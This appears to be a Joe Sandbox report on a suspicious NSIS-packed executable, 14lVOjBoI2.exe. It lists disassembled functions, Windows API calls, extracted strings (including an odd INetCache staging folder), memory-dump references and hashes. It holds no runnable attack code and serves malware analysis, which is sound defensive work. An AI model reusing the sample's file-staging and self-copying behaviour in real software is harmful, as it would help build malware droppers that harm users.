lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\14lVOjBoI2.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\14lVOjBoI2.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\14lVOjBoI2.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\14lVOjBoI2.exe,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

Error launching installer, xrefs: 004035AD
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
NSIS Error, xrefs: 00403341
Low, xrefs: 004034F8
SETUPAPI, xrefs: 004032FB
TEMP, xrefs: 0040350A
C:\Users\user\Desktop\14lVOjBoI2.exe, xrefs: 004036D6
.tmp, xrefs: 0040363F
TMP, xrefs: 00403512
SeShutdownPrivilege, xrefs: 0040374D
USERENV, xrefs: 004032F1
"C:\Users\user\Desktop\14lVOjBoI2.exe", xrefs: 00403356, 0040335C, 00403553
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed, xrefs: 004035D3
~nsu, xrefs: 00403623
UXTHEME, xrefs: 004032E7
\Temp, xrefs: 004034DC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D
1033, xrefs: 00403526

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\14lVOjBoI2.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\14lVOjBoI2.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3797074263
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
M, xrefs: 00404CDA
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186
Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76F93420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

"C:\Users\user\Desktop\14lVOjBoI2.exe", xrefs: 0040584F
C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\14lVOjBoI2.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3659096904
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed
API String ID: 542301482-1073148364
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(76F93420,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70,76F93420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,76F93420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\14lVOjBoI2.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,76F93420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

RichEdit20W, xrefs: 00403AEA, 00403AF0
C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
RichEd20, xrefs: 00403ACC
RichEd32, xrefs: 00403ADA
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
.DEFAULT\Control Panel\International, xrefs: 0040390A
"C:\Users\user\Desktop\14lVOjBoI2.exe", xrefs: 004038A1
_Nb, xrefs: 00403A22, 00403A8A
RichEdit, xrefs: 00403AF9
.exe, xrefs: 004039AC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF
1033, xrefs: 004038BE, 0040391A
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\14lVOjBoI2.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-1049813116
Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\14lVOjBoI2.exe,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\14lVOjBoI2.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

